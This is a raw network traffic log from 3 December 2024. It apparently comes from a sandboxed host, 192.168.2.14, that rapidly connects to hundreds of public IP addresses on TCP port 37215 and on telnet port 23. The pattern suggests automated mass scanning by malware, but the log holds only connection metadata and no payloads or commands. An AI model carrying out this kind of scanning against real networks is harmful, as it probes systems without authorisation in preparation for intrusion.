Dec 3, 2024 22:02:06.089375973 CET	39662	37215	192.168.2.14	156.134.60.80
Dec 3, 2024 22:02:06.089376926 CET	57206	37215	192.168.2.14	156.143.128.146
Dec 3, 2024 22:02:06.089376926 CET	57312	37215	192.168.2.14	41.198.32.202
Dec 3, 2024 22:02:06.089484930 CET	44030	37215	192.168.2.14	156.64.242.57
Dec 3, 2024 22:02:06.089839935 CET	49322	37215	192.168.2.14	41.114.48.9
Dec 3, 2024 22:02:06.089839935 CET	49322	37215	192.168.2.14	41.114.48.9
Dec 3, 2024 22:02:06.090117931 CET	49992	37215	192.168.2.14	41.114.48.9
Dec 3, 2024 22:02:06.090487003 CET	36356	37215	192.168.2.14	41.72.83.125
Dec 3, 2024 22:02:06.090487003 CET	36356	37215	192.168.2.14	41.72.83.125
Dec 3, 2024 22:02:06.090747118 CET	37026	37215	192.168.2.14	41.72.83.125
Dec 3, 2024 22:02:06.091113091 CET	48250	37215	192.168.2.14	197.37.224.195
Dec 3, 2024 22:02:06.091113091 CET	48250	37215	192.168.2.14	197.37.224.195
Dec 3, 2024 22:02:06.091402054 CET	48920	37215	192.168.2.14	197.37.224.195
Dec 3, 2024 22:02:06.091762066 CET	37468	37215	192.168.2.14	197.198.71.1
Dec 3, 2024 22:02:06.091762066 CET	37468	37215	192.168.2.14	197.198.71.1
Dec 3, 2024 22:02:06.092044115 CET	38138	37215	192.168.2.14	197.198.71.1
Dec 3, 2024 22:02:06.092417002 CET	52120	37215	192.168.2.14	197.195.158.99
Dec 3, 2024 22:02:06.092417002 CET	52120	37215	192.168.2.14	197.195.158.99
Dec 3, 2024 22:02:06.092714071 CET	52790	37215	192.168.2.14	197.195.158.99
Dec 3, 2024 22:02:06.093113899 CET	46448	37215	192.168.2.14	156.7.166.118
Dec 3, 2024 22:02:06.093121052 CET	46448	37215	192.168.2.14	156.7.166.118
Dec 3, 2024 22:02:06.093441010 CET	47118	37215	192.168.2.14	156.7.166.118
Dec 3, 2024 22:02:06.093811035 CET	46914	37215	192.168.2.14	197.174.91.252
Dec 3, 2024 22:02:06.093811035 CET	46914	37215	192.168.2.14	197.174.91.252
Dec 3, 2024 22:02:06.094110966 CET	47584	37215	192.168.2.14	197.174.91.252
Dec 3, 2024 22:02:06.094495058 CET	47430	37215	192.168.2.14	41.41.138.225
Dec 3, 2024 22:02:06.094495058 CET	47430	37215	192.168.2.14	41.41.138.225
Dec 3, 2024 22:02:06.094768047 CET	48100	37215	192.168.2.14	41.41.138.225
Dec 3, 2024 22:02:06.095139027 CET	35768	37215	192.168.2.14	41.240.186.144
Dec 3, 2024 22:02:06.095139027 CET	35768	37215	192.168.2.14	41.240.186.144
Dec 3, 2024 22:02:06.095417976 CET	36438	37215	192.168.2.14	41.240.186.144
Dec 3, 2024 22:02:06.095794916 CET	38236	37215	192.168.2.14	197.188.21.100
Dec 3, 2024 22:02:06.095794916 CET	38236	37215	192.168.2.14	197.188.21.100
Dec 3, 2024 22:02:06.096082926 CET	38906	37215	192.168.2.14	197.188.21.100
Dec 3, 2024 22:02:06.096477985 CET	49074	37215	192.168.2.14	41.242.231.240
Dec 3, 2024 22:02:06.096477985 CET	49074	37215	192.168.2.14	41.242.231.240
Dec 3, 2024 22:02:06.096769094 CET	49744	37215	192.168.2.14	41.242.231.240
Dec 3, 2024 22:02:06.097119093 CET	45228	37215	192.168.2.14	41.66.212.146
Dec 3, 2024 22:02:06.097119093 CET	45228	37215	192.168.2.14	41.66.212.146
Dec 3, 2024 22:02:06.097419024 CET	45898	37215	192.168.2.14	41.66.212.146
Dec 3, 2024 22:02:06.097773075 CET	60118	37215	192.168.2.14	41.159.149.11
Dec 3, 2024 22:02:06.097773075 CET	60118	37215	192.168.2.14	41.159.149.11
Dec 3, 2024 22:02:06.098046064 CET	60786	37215	192.168.2.14	41.159.149.11
Dec 3, 2024 22:02:06.098414898 CET	55910	37215	192.168.2.14	197.53.171.17
Dec 3, 2024 22:02:06.098414898 CET	55910	37215	192.168.2.14	197.53.171.17
Dec 3, 2024 22:02:06.098694086 CET	56576	37215	192.168.2.14	197.53.171.17
Dec 3, 2024 22:02:06.099078894 CET	52106	37215	192.168.2.14	197.131.102.163
Dec 3, 2024 22:02:06.099078894 CET	52106	37215	192.168.2.14	197.131.102.163
Dec 3, 2024 22:02:06.099354029 CET	52772	37215	192.168.2.14	197.131.102.163
Dec 3, 2024 22:02:06.099726915 CET	43406	37215	192.168.2.14	156.176.19.33
Dec 3, 2024 22:02:06.099726915 CET	43406	37215	192.168.2.14	156.176.19.33
Dec 3, 2024 22:02:06.099996090 CET	44070	37215	192.168.2.14	156.176.19.33
Dec 3, 2024 22:02:06.100394011 CET	43024	37215	192.168.2.14	41.179.104.30
Dec 3, 2024 22:02:06.100394011 CET	43024	37215	192.168.2.14	41.179.104.30
Dec 3, 2024 22:02:06.100662947 CET	43688	37215	192.168.2.14	41.179.104.30
Dec 3, 2024 22:02:06.101059914 CET	41480	37215	192.168.2.14	41.250.53.110
Dec 3, 2024 22:02:06.101059914 CET	41480	37215	192.168.2.14	41.250.53.110
Dec 3, 2024 22:02:06.101341963 CET	42142	37215	192.168.2.14	41.250.53.110
Dec 3, 2024 22:02:06.114074945 CET	37215	42128	41.134.26.107	192.168.2.14
Dec 3, 2024 22:02:06.114132881 CET	42128	37215	192.168.2.14	41.134.26.107
Dec 3, 2024 22:02:06.114142895 CET	37215	37170	197.53.94.99	192.168.2.14
Dec 3, 2024 22:02:06.114149094 CET	37215	43238	41.64.226.76	192.168.2.14
Dec 3, 2024 22:02:06.114208937 CET	37215	39142	41.154.223.212	192.168.2.14
Dec 3, 2024 22:02:06.114226103 CET	37215	50280	41.148.211.218	192.168.2.14
Dec 3, 2024 22:02:06.114255905 CET	37215	36120	41.131.73.124	192.168.2.14
Dec 3, 2024 22:02:06.114276886 CET	37215	42606	41.94.175.19	192.168.2.14
Dec 3, 2024 22:02:06.114310980 CET	43238	37215	192.168.2.14	41.64.226.76
Dec 3, 2024 22:02:06.114310980 CET	37170	37215	192.168.2.14	197.53.94.99
Dec 3, 2024 22:02:06.114320993 CET	36120	37215	192.168.2.14	41.131.73.124
Dec 3, 2024 22:02:06.114325047 CET	37215	55376	41.108.8.89	192.168.2.14
Dec 3, 2024 22:02:06.114325047 CET	39142	37215	192.168.2.14	41.154.223.212
Dec 3, 2024 22:02:06.114324093 CET	42128	37215	192.168.2.14	41.134.26.107
Dec 3, 2024 22:02:06.114324093 CET	42128	37215	192.168.2.14	41.134.26.107
Dec 3, 2024 22:02:06.114326000 CET	50280	37215	192.168.2.14	41.148.211.218
Dec 3, 2024 22:02:06.114326000 CET	42606	37215	192.168.2.14	41.94.175.19
Dec 3, 2024 22:02:06.114361048 CET	55376	37215	192.168.2.14	41.108.8.89
Dec 3, 2024 22:02:06.114378929 CET	37215	52804	197.185.181.238	192.168.2.14
Dec 3, 2024 22:02:06.114398003 CET	37215	51332	156.165.110.157	192.168.2.14
Dec 3, 2024 22:02:06.114418030 CET	52804	37215	192.168.2.14	197.185.181.238
Dec 3, 2024 22:02:06.114434958 CET	51332	37215	192.168.2.14	156.165.110.157
Dec 3, 2024 22:02:06.114443064 CET	37215	33698	156.16.80.231	192.168.2.14
Dec 3, 2024 22:02:06.114483118 CET	33698	37215	192.168.2.14	156.16.80.231
Dec 3, 2024 22:02:06.114517927 CET	37215	45042	41.224.48.182	192.168.2.14
Dec 3, 2024 22:02:06.114535093 CET	37215	55158	41.115.186.149	192.168.2.14
Dec 3, 2024 22:02:06.114558935 CET	45042	37215	192.168.2.14	41.224.48.182
Dec 3, 2024 22:02:06.114558935 CET	55158	37215	192.168.2.14	41.115.186.149
Dec 3, 2024 22:02:06.114588976 CET	37215	54474	197.248.237.12	192.168.2.14
Dec 3, 2024 22:02:06.114622116 CET	54474	37215	192.168.2.14	197.248.237.12
Dec 3, 2024 22:02:06.114639997 CET	37215	60676	197.49.43.51	192.168.2.14
Dec 3, 2024 22:02:06.114640951 CET	42784	37215	192.168.2.14	41.134.26.107
Dec 3, 2024 22:02:06.114675045 CET	37215	51272	156.189.89.236	192.168.2.14
Dec 3, 2024 22:02:06.114680052 CET	60676	37215	192.168.2.14	197.49.43.51
Dec 3, 2024 22:02:06.114689112 CET	37215	49360	41.93.34.146	192.168.2.14
Dec 3, 2024 22:02:06.114720106 CET	51272	37215	192.168.2.14	156.189.89.236
Dec 3, 2024 22:02:06.114722013 CET	49360	37215	192.168.2.14	41.93.34.146
Dec 3, 2024 22:02:06.114813089 CET	37215	39062	156.221.169.157	192.168.2.14
Dec 3, 2024 22:02:06.114855051 CET	39062	37215	192.168.2.14	156.221.169.157
Dec 3, 2024 22:02:06.115067959 CET	37170	37215	192.168.2.14	197.53.94.99
Dec 3, 2024 22:02:06.115067959 CET	37170	37215	192.168.2.14	197.53.94.99
Dec 3, 2024 22:02:06.115375042 CET	37826	37215	192.168.2.14	197.53.94.99
Dec 3, 2024 22:02:06.115741014 CET	43238	37215	192.168.2.14	41.64.226.76
Dec 3, 2024 22:02:06.115741014 CET	43238	37215	192.168.2.14	41.64.226.76
Dec 3, 2024 22:02:06.115994930 CET	43892	37215	192.168.2.14	41.64.226.76
Dec 3, 2024 22:02:06.116415024 CET	39142	37215	192.168.2.14	41.154.223.212
Dec 3, 2024 22:02:06.116415024 CET	39142	37215	192.168.2.14	41.154.223.212
Dec 3, 2024 22:02:06.116699934 CET	39806	37215	192.168.2.14	41.154.223.212
Dec 3, 2024 22:02:06.117052078 CET	50280	37215	192.168.2.14	41.148.211.218
Dec 3, 2024 22:02:06.117052078 CET	50280	37215	192.168.2.14	41.148.211.218
Dec 3, 2024 22:02:06.117393017 CET	50940	37215	192.168.2.14	41.148.211.218
Dec 3, 2024 22:02:06.117768049 CET	36120	37215	192.168.2.14	41.131.73.124
Dec 3, 2024 22:02:06.117768049 CET	36120	37215	192.168.2.14	41.131.73.124
Dec 3, 2024 22:02:06.118060112 CET	36778	37215	192.168.2.14	41.131.73.124
Dec 3, 2024 22:02:06.118448019 CET	55376	37215	192.168.2.14	41.108.8.89
Dec 3, 2024 22:02:06.118448019 CET	55376	37215	192.168.2.14	41.108.8.89
Dec 3, 2024 22:02:06.118717909 CET	56034	37215	192.168.2.14	41.108.8.89
Dec 3, 2024 22:02:06.119087934 CET	52804	37215	192.168.2.14	197.185.181.238
Dec 3, 2024 22:02:06.119087934 CET	52804	37215	192.168.2.14	197.185.181.238
Dec 3, 2024 22:02:06.119379997 CET	53462	37215	192.168.2.14	197.185.181.238
Dec 3, 2024 22:02:06.119781971 CET	42606	37215	192.168.2.14	41.94.175.19
Dec 3, 2024 22:02:06.119781971 CET	42606	37215	192.168.2.14	41.94.175.19
Dec 3, 2024 22:02:06.120069981 CET	43264	37215	192.168.2.14	41.94.175.19
Dec 3, 2024 22:02:06.120441914 CET	45042	37215	192.168.2.14	41.224.48.182
Dec 3, 2024 22:02:06.120441914 CET	45042	37215	192.168.2.14	41.224.48.182
Dec 3, 2024 22:02:06.120743036 CET	45698	37215	192.168.2.14	41.224.48.182
Dec 3, 2024 22:02:06.121095896 CET	55158	37215	192.168.2.14	41.115.186.149
Dec 3, 2024 22:02:06.121095896 CET	55158	37215	192.168.2.14	41.115.186.149
Dec 3, 2024 22:02:06.121289015 CET	49684	37215	192.168.2.14	41.231.49.236
Dec 3, 2024 22:02:06.121289968 CET	35320	37215	192.168.2.14	41.184.96.173
Dec 3, 2024 22:02:06.121293068 CET	47592	37215	192.168.2.14	41.115.247.2
Dec 3, 2024 22:02:06.121293068 CET	52744	37215	192.168.2.14	41.61.147.3
Dec 3, 2024 22:02:06.121299028 CET	51462	37215	192.168.2.14	41.173.178.106
Dec 3, 2024 22:02:06.121301889 CET	35556	37215	192.168.2.14	197.115.182.63
Dec 3, 2024 22:02:06.121320009 CET	46748	37215	192.168.2.14	41.9.64.69
Dec 3, 2024 22:02:06.121325016 CET	59902	37215	192.168.2.14	41.195.133.160
Dec 3, 2024 22:02:06.121325016 CET	37638	37215	192.168.2.14	41.251.226.147
Dec 3, 2024 22:02:06.121326923 CET	41944	37215	192.168.2.14	156.117.58.103
Dec 3, 2024 22:02:06.121329069 CET	60684	37215	192.168.2.14	41.120.62.47
Dec 3, 2024 22:02:06.121329069 CET	60910	37215	192.168.2.14	197.30.213.105
Dec 3, 2024 22:02:06.121332884 CET	48032	37215	192.168.2.14	41.94.188.15
Dec 3, 2024 22:02:06.121334076 CET	51342	37215	192.168.2.14	41.88.167.184
Dec 3, 2024 22:02:06.121332884 CET	54486	37215	192.168.2.14	41.10.67.160
Dec 3, 2024 22:02:06.121336937 CET	34428	37215	192.168.2.14	41.52.157.108
Dec 3, 2024 22:02:06.121336937 CET	40104	37215	192.168.2.14	41.214.27.195
Dec 3, 2024 22:02:06.121339083 CET	50584	37215	192.168.2.14	197.247.250.5
Dec 3, 2024 22:02:06.121341944 CET	46014	37215	192.168.2.14	41.85.85.9
Dec 3, 2024 22:02:06.121344090 CET	32940	37215	192.168.2.14	197.203.167.250
Dec 3, 2024 22:02:06.121345997 CET	50118	37215	192.168.2.14	197.42.48.161
Dec 3, 2024 22:02:06.121352911 CET	44594	37215	192.168.2.14	156.45.65.153
Dec 3, 2024 22:02:06.121352911 CET	51948	37215	192.168.2.14	156.5.78.161
Dec 3, 2024 22:02:06.121354103 CET	43056	37215	192.168.2.14	41.115.11.228
Dec 3, 2024 22:02:06.121354103 CET	47156	37215	192.168.2.14	156.69.73.223
Dec 3, 2024 22:02:06.121354103 CET	49366	37215	192.168.2.14	156.29.220.230
Dec 3, 2024 22:02:06.121354103 CET	34434	37215	192.168.2.14	197.238.16.194
Dec 3, 2024 22:02:06.121356010 CET	43592	37215	192.168.2.14	41.228.141.86
Dec 3, 2024 22:02:06.121359110 CET	56940	37215	192.168.2.14	156.191.95.166
Dec 3, 2024 22:02:06.121367931 CET	39078	37215	192.168.2.14	156.177.137.56
Dec 3, 2024 22:02:06.121378899 CET	33788	37215	192.168.2.14	197.178.64.233
Dec 3, 2024 22:02:06.121381044 CET	60468	37215	192.168.2.14	197.111.127.130
Dec 3, 2024 22:02:06.121382952 CET	56378	37215	192.168.2.14	156.232.48.11
Dec 3, 2024 22:02:06.121382952 CET	50470	37215	192.168.2.14	156.237.57.104
Dec 3, 2024 22:02:06.121387959 CET	58034	37215	192.168.2.14	197.47.140.171
Dec 3, 2024 22:02:06.121391058 CET	56398	37215	192.168.2.14	156.71.207.31
Dec 3, 2024 22:02:06.121391058 CET	54464	37215	192.168.2.14	156.128.181.170
Dec 3, 2024 22:02:06.121392965 CET	49000	37215	192.168.2.14	197.144.179.42
Dec 3, 2024 22:02:06.121392965 CET	46316	37215	192.168.2.14	156.193.205.255
Dec 3, 2024 22:02:06.121393919 CET	56986	37215	192.168.2.14	41.48.214.226
Dec 3, 2024 22:02:06.121397972 CET	37740	37215	192.168.2.14	156.138.184.13
Dec 3, 2024 22:02:06.121408939 CET	56752	37215	192.168.2.14	41.206.13.183
Dec 3, 2024 22:02:06.121524096 CET	55814	37215	192.168.2.14	41.115.186.149
Dec 3, 2024 22:02:06.121905088 CET	51332	37215	192.168.2.14	156.165.110.157
Dec 3, 2024 22:02:06.121906042 CET	51332	37215	192.168.2.14	156.165.110.157
Dec 3, 2024 22:02:06.122198105 CET	51988	37215	192.168.2.14	156.165.110.157
Dec 3, 2024 22:02:06.122616053 CET	33698	37215	192.168.2.14	156.16.80.231
Dec 3, 2024 22:02:06.122616053 CET	33698	37215	192.168.2.14	156.16.80.231
Dec 3, 2024 22:02:06.122927904 CET	34354	37215	192.168.2.14	156.16.80.231
Dec 3, 2024 22:02:06.123334885 CET	39062	37215	192.168.2.14	156.221.169.157
Dec 3, 2024 22:02:06.123334885 CET	39062	37215	192.168.2.14	156.221.169.157
Dec 3, 2024 22:02:06.123646021 CET	39718	37215	192.168.2.14	156.221.169.157
Dec 3, 2024 22:02:06.124006987 CET	54474	37215	192.168.2.14	197.248.237.12
Dec 3, 2024 22:02:06.124006987 CET	54474	37215	192.168.2.14	197.248.237.12
Dec 3, 2024 22:02:06.124295950 CET	55130	37215	192.168.2.14	197.248.237.12
Dec 3, 2024 22:02:06.124685049 CET	49360	37215	192.168.2.14	41.93.34.146
Dec 3, 2024 22:02:06.124685049 CET	49360	37215	192.168.2.14	41.93.34.146
Dec 3, 2024 22:02:06.124974012 CET	50016	37215	192.168.2.14	41.93.34.146
Dec 3, 2024 22:02:06.125344038 CET	51272	37215	192.168.2.14	156.189.89.236
Dec 3, 2024 22:02:06.125344038 CET	51272	37215	192.168.2.14	156.189.89.236
Dec 3, 2024 22:02:06.125617981 CET	51928	37215	192.168.2.14	156.189.89.236
Dec 3, 2024 22:02:06.125997066 CET	60676	37215	192.168.2.14	197.49.43.51
Dec 3, 2024 22:02:06.125997066 CET	60676	37215	192.168.2.14	197.49.43.51
Dec 3, 2024 22:02:06.126291990 CET	33100	37215	192.168.2.14	197.49.43.51
Dec 3, 2024 22:02:06.167454004 CET	80	55648	133.171.253.133	192.168.2.14
Dec 3, 2024 22:02:06.170578003 CET	37215	40832	41.78.2.17	192.168.2.14
Dec 3, 2024 22:02:06.170607090 CET	37215	40832	41.138.94.94	192.168.2.14
Dec 3, 2024 22:02:06.170696020 CET	37215	40832	156.23.230.128	192.168.2.14
Dec 3, 2024 22:02:06.170706034 CET	37215	40832	156.141.3.216	192.168.2.14
Dec 3, 2024 22:02:06.170716047 CET	37215	40832	197.31.172.17	192.168.2.14
Dec 3, 2024 22:02:06.170727015 CET	37215	40832	41.240.12.174	192.168.2.14
Dec 3, 2024 22:02:06.170737982 CET	37215	40832	156.244.102.116	192.168.2.14
Dec 3, 2024 22:02:06.170751095 CET	40832	37215	192.168.2.14	41.78.2.17
Dec 3, 2024 22:02:06.170761108 CET	37215	40832	41.68.156.199	192.168.2.14
Dec 3, 2024 22:02:06.170768023 CET	40832	37215	192.168.2.14	41.138.94.94
Dec 3, 2024 22:02:06.170768023 CET	40832	37215	192.168.2.14	156.23.230.128
Dec 3, 2024 22:02:06.170773029 CET	40832	37215	192.168.2.14	197.31.172.17
Dec 3, 2024 22:02:06.170773029 CET	40832	37215	192.168.2.14	156.141.3.216
Dec 3, 2024 22:02:06.170773029 CET	40832	37215	192.168.2.14	41.240.12.174
Dec 3, 2024 22:02:06.170783997 CET	40832	37215	192.168.2.14	156.244.102.116
Dec 3, 2024 22:02:06.170794010 CET	40832	37215	192.168.2.14	41.68.156.199
Dec 3, 2024 22:02:06.172913074 CET	37215	38556	156.180.52.49	192.168.2.14
Dec 3, 2024 22:02:06.173561096 CET	37215	38806	156.72.185.93	192.168.2.14
Dec 3, 2024 22:02:06.174282074 CET	37215	33422	197.231.16.59	192.168.2.14
Dec 3, 2024 22:02:06.174838066 CET	37215	59866	41.153.253.195	192.168.2.14
Dec 3, 2024 22:02:06.175643921 CET	37215	47150	197.100.58.133	192.168.2.14
Dec 3, 2024 22:02:06.175827026 CET	37215	47826	197.100.58.133	192.168.2.14
Dec 3, 2024 22:02:06.175884962 CET	47826	37215	192.168.2.14	197.100.58.133
Dec 3, 2024 22:02:06.175913095 CET	47826	37215	192.168.2.14	197.100.58.133
Dec 3, 2024 22:02:06.176060915 CET	37215	60746	41.163.239.113	192.168.2.14
Dec 3, 2024 22:02:06.176255941 CET	59044	37215	192.168.2.14	41.78.2.17
Dec 3, 2024 22:02:06.176820040 CET	37215	52764	156.8.122.245	192.168.2.14
Dec 3, 2024 22:02:06.176873922 CET	48710	37215	192.168.2.14	41.138.94.94
Dec 3, 2024 22:02:06.177485943 CET	34884	37215	192.168.2.14	156.23.230.128
Dec 3, 2024 22:02:06.177532911 CET	37215	55894	41.154.31.154	192.168.2.14
Dec 3, 2024 22:02:06.178029060 CET	37215	58744	197.71.140.80	192.168.2.14
Dec 3, 2024 22:02:06.178112984 CET	37004	37215	192.168.2.14	156.141.3.216
Dec 3, 2024 22:02:06.178618908 CET	37215	48542	197.217.251.3	192.168.2.14
Dec 3, 2024 22:02:06.178797960 CET	59304	37215	192.168.2.14	197.31.172.17
Dec 3, 2024 22:02:06.179335117 CET	37215	54814	197.198.132.132	192.168.2.14
Dec 3, 2024 22:02:06.179414034 CET	40304	37215	192.168.2.14	41.240.12.174
Dec 3, 2024 22:02:06.179908037 CET	37215	49780	156.55.125.14	192.168.2.14
Dec 3, 2024 22:02:06.180056095 CET	46112	37215	192.168.2.14	156.244.102.116
Dec 3, 2024 22:02:06.180599928 CET	37215	35364	156.161.126.173	192.168.2.14
Dec 3, 2024 22:02:06.180720091 CET	47020	37215	192.168.2.14	41.68.156.199
Dec 3, 2024 22:02:06.181138039 CET	37215	43002	156.183.203.242	192.168.2.14
Dec 3, 2024 22:02:06.181864977 CET	37215	44306	197.152.168.4	192.168.2.14
Dec 3, 2024 22:02:06.182512045 CET	37215	56886	156.204.54.116	192.168.2.14
Dec 3, 2024 22:02:06.183229923 CET	37215	45940	156.131.137.8	192.168.2.14
Dec 3, 2024 22:02:06.183888912 CET	37215	43248	197.86.98.63	192.168.2.14
Dec 3, 2024 22:02:06.184567928 CET	37215	55550	197.227.173.107	192.168.2.14
Dec 3, 2024 22:02:06.184938908 CET	39808	23	192.168.2.14	203.5.73.155
Dec 3, 2024 22:02:06.184947014 CET	39808	23	192.168.2.14	85.18.244.44
Dec 3, 2024 22:02:06.184947014 CET	39808	23	192.168.2.14	122.163.146.120
Dec 3, 2024 22:02:06.184957981 CET	39808	23	192.168.2.14	189.86.182.155
Dec 3, 2024 22:02:06.184961081 CET	39808	23	192.168.2.14	211.117.229.26
Dec 3, 2024 22:02:06.184969902 CET	39808	23	192.168.2.14	164.142.208.26
Dec 3, 2024 22:02:06.184969902 CET	39808	23	192.168.2.14	114.251.116.239
Dec 3, 2024 22:02:06.184971094 CET	39808	23	192.168.2.14	195.207.134.254
Dec 3, 2024 22:02:06.184973955 CET	39808	23	192.168.2.14	201.73.162.105
Dec 3, 2024 22:02:06.184987068 CET	39808	23	192.168.2.14	44.191.191.112
Dec 3, 2024 22:02:06.184990883 CET	39808	23	192.168.2.14	151.19.207.200
Dec 3, 2024 22:02:06.184990883 CET	39808	23	192.168.2.14	137.57.91.164
Dec 3, 2024 22:02:06.184992075 CET	39808	23	192.168.2.14	218.38.120.3
Dec 3, 2024 22:02:06.184992075 CET	39808	23	192.168.2.14	96.146.120.95
Dec 3, 2024 22:02:06.185007095 CET	39808	23	192.168.2.14	163.77.85.142
Dec 3, 2024 22:02:06.185008049 CET	39808	23	192.168.2.14	37.175.174.234
Dec 3, 2024 22:02:06.185009003 CET	39808	23	192.168.2.14	138.161.34.41
Dec 3, 2024 22:02:06.185019970 CET	39808	23	192.168.2.14	178.9.187.242
Dec 3, 2024 22:02:06.185019970 CET	39808	23	192.168.2.14	107.51.144.181
Dec 3, 2024 22:02:06.185048103 CET	39808	23	192.168.2.14	143.169.25.81
Dec 3, 2024 22:02:06.185050964 CET	39808	23	192.168.2.14	79.56.57.30
Dec 3, 2024 22:02:06.185050964 CET	39808	23	192.168.2.14	129.79.236.184
Dec 3, 2024 22:02:06.185050964 CET	39808	23	192.168.2.14	176.75.47.139
Dec 3, 2024 22:02:06.185054064 CET	39808	23	192.168.2.14	31.236.246.66
Dec 3, 2024 22:02:06.185060024 CET	39808	23	192.168.2.14	102.254.94.2
Dec 3, 2024 22:02:06.185060024 CET	39808	23	192.168.2.14	155.154.132.149
Dec 3, 2024 22:02:06.185060024 CET	39808	23	192.168.2.14	141.61.191.253
Dec 3, 2024 22:02:06.185060024 CET	39808	23	192.168.2.14	217.50.138.137
Dec 3, 2024 22:02:06.185060024 CET	39808	23	192.168.2.14	50.133.233.241
Dec 3, 2024 22:02:06.185061932 CET	39808	23	192.168.2.14	78.28.8.215
Dec 3, 2024 22:02:06.185060024 CET	39808	23	192.168.2.14	94.145.157.231
Dec 3, 2024 22:02:06.185061932 CET	39808	23	192.168.2.14	60.163.177.83
Dec 3, 2024 22:02:06.185076952 CET	37215	53942	41.233.227.101	192.168.2.14
Dec 3, 2024 22:02:06.185080051 CET	39808	23	192.168.2.14	116.111.117.205
Dec 3, 2024 22:02:06.185081959 CET	39808	23	192.168.2.14	194.15.129.51
Dec 3, 2024 22:02:06.185081959 CET	39808	23	192.168.2.14	36.168.205.174
Dec 3, 2024 22:02:06.185085058 CET	39808	23	192.168.2.14	99.112.75.154
Dec 3, 2024 22:02:06.185086966 CET	39808	23	192.168.2.14	206.40.149.37
Dec 3, 2024 22:02:06.185091019 CET	39808	23	192.168.2.14	43.181.189.57
Dec 3, 2024 22:02:06.185092926 CET	39808	23	192.168.2.14	17.159.138.130
Dec 3, 2024 22:02:06.185107946 CET	39808	23	192.168.2.14	9.121.144.162
Dec 3, 2024 22:02:06.185111046 CET	39808	23	192.168.2.14	116.138.237.210
Dec 3, 2024 22:02:06.185112000 CET	39808	23	192.168.2.14	181.123.70.1
Dec 3, 2024 22:02:06.185113907 CET	39808	23	192.168.2.14	72.231.59.244
Dec 3, 2024 22:02:06.185127974 CET	39808	23	192.168.2.14	147.97.185.143
Dec 3, 2024 22:02:06.185132980 CET	39808	23	192.168.2.14	54.38.54.201
Dec 3, 2024 22:02:06.185151100 CET	39808	23	192.168.2.14	200.96.190.218
Dec 3, 2024 22:02:06.185154915 CET	39808	23	192.168.2.14	147.23.62.20
Dec 3, 2024 22:02:06.185154915 CET	39808	23	192.168.2.14	46.95.220.152
Dec 3, 2024 22:02:06.185157061 CET	39808	23	192.168.2.14	134.23.234.144
Dec 3, 2024 22:02:06.185164928 CET	39808	23	192.168.2.14	100.62.213.119
Dec 3, 2024 22:02:06.185168028 CET	39808	23	192.168.2.14	220.39.147.57
Dec 3, 2024 22:02:06.185184956 CET	39808	23	192.168.2.14	184.7.151.189
Dec 3, 2024 22:02:06.185185909 CET	39808	23	192.168.2.14	153.139.125.176
Dec 3, 2024 22:02:06.185187101 CET	39808	23	192.168.2.14	95.92.58.175
Dec 3, 2024 22:02:06.185194016 CET	39808	23	192.168.2.14	117.195.188.100
Dec 3, 2024 22:02:06.185201883 CET	39808	23	192.168.2.14	49.157.72.173
Dec 3, 2024 22:02:06.185205936 CET	39808	23	192.168.2.14	62.189.172.26
Dec 3, 2024 22:02:06.185205936 CET	39808	23	192.168.2.14	162.29.59.251
Dec 3, 2024 22:02:06.185218096 CET	39808	23	192.168.2.14	177.46.253.87
Dec 3, 2024 22:02:06.185220957 CET	39808	23	192.168.2.14	86.66.175.248
Dec 3, 2024 22:02:06.185229063 CET	39808	23	192.168.2.14	206.36.84.84
Dec 3, 2024 22:02:06.185237885 CET	39808	23	192.168.2.14	2.54.42.217
Dec 3, 2024 22:02:06.185239077 CET	39808	23	192.168.2.14	177.165.250.38
Dec 3, 2024 22:02:06.185239077 CET	39808	23	192.168.2.14	190.66.215.255
Dec 3, 2024 22:02:06.185255051 CET	39808	23	192.168.2.14	112.169.251.58
Dec 3, 2024 22:02:06.185256004 CET	39808	23	192.168.2.14	166.139.144.145
Dec 3, 2024 22:02:06.185256958 CET	39808	23	192.168.2.14	47.133.189.238
Dec 3, 2024 22:02:06.185280085 CET	52982	37215	192.168.2.14	41.74.150.174
Dec 3, 2024 22:02:06.185281038 CET	57650	37215	192.168.2.14	41.134.87.124
Dec 3, 2024 22:02:06.185290098 CET	39808	23	192.168.2.14	129.137.187.144
Dec 3, 2024 22:02:06.185297966 CET	39808	23	192.168.2.14	139.225.254.70
Dec 3, 2024 22:02:06.185297966 CET	39808	23	192.168.2.14	121.190.79.29
Dec 3, 2024 22:02:06.185300112 CET	39808	23	192.168.2.14	178.187.98.172
Dec 3, 2024 22:02:06.185309887 CET	39808	23	192.168.2.14	96.31.5.41
Dec 3, 2024 22:02:06.185313940 CET	39808	23	192.168.2.14	181.136.82.22
Dec 3, 2024 22:02:06.185317993 CET	39808	23	192.168.2.14	106.90.84.155
Dec 3, 2024 22:02:06.185323954 CET	39808	23	192.168.2.14	67.153.44.89
Dec 3, 2024 22:02:06.185337067 CET	39808	23	192.168.2.14	199.73.194.55
Dec 3, 2024 22:02:06.185343027 CET	39808	23	192.168.2.14	24.8.246.28
Dec 3, 2024 22:02:06.185343981 CET	39808	23	192.168.2.14	217.133.27.28
Dec 3, 2024 22:02:06.185343027 CET	39808	23	192.168.2.14	184.217.150.119
Dec 3, 2024 22:02:06.185348034 CET	39808	23	192.168.2.14	149.127.102.117
Dec 3, 2024 22:02:06.185354948 CET	39808	23	192.168.2.14	131.145.255.250
Dec 3, 2024 22:02:06.185354948 CET	39808	23	192.168.2.14	124.224.56.219
Dec 3, 2024 22:02:06.185367107 CET	39808	23	192.168.2.14	202.71.2.141
Dec 3, 2024 22:02:06.185368061 CET	39808	23	192.168.2.14	177.3.201.96
Dec 3, 2024 22:02:06.185369968 CET	39808	23	192.168.2.14	123.229.16.196
Dec 3, 2024 22:02:06.185369968 CET	39808	23	192.168.2.14	178.162.131.64
Dec 3, 2024 22:02:06.185376883 CET	39808	23	192.168.2.14	157.99.167.138
Dec 3, 2024 22:02:06.185376883 CET	39808	23	192.168.2.14	191.120.76.195
Dec 3, 2024 22:02:06.185389042 CET	39808	23	192.168.2.14	71.195.52.42
Dec 3, 2024 22:02:06.185390949 CET	39808	23	192.168.2.14	96.254.150.194
Dec 3, 2024 22:02:06.185400963 CET	39808	23	192.168.2.14	24.216.23.34
Dec 3, 2024 22:02:06.185400963 CET	39808	23	192.168.2.14	204.8.204.184
Dec 3, 2024 22:02:06.185405016 CET	39808	23	192.168.2.14	202.37.14.194
Dec 3, 2024 22:02:06.185406923 CET	39808	23	192.168.2.14	119.255.166.73
Dec 3, 2024 22:02:06.185414076 CET	39808	23	192.168.2.14	126.32.186.96
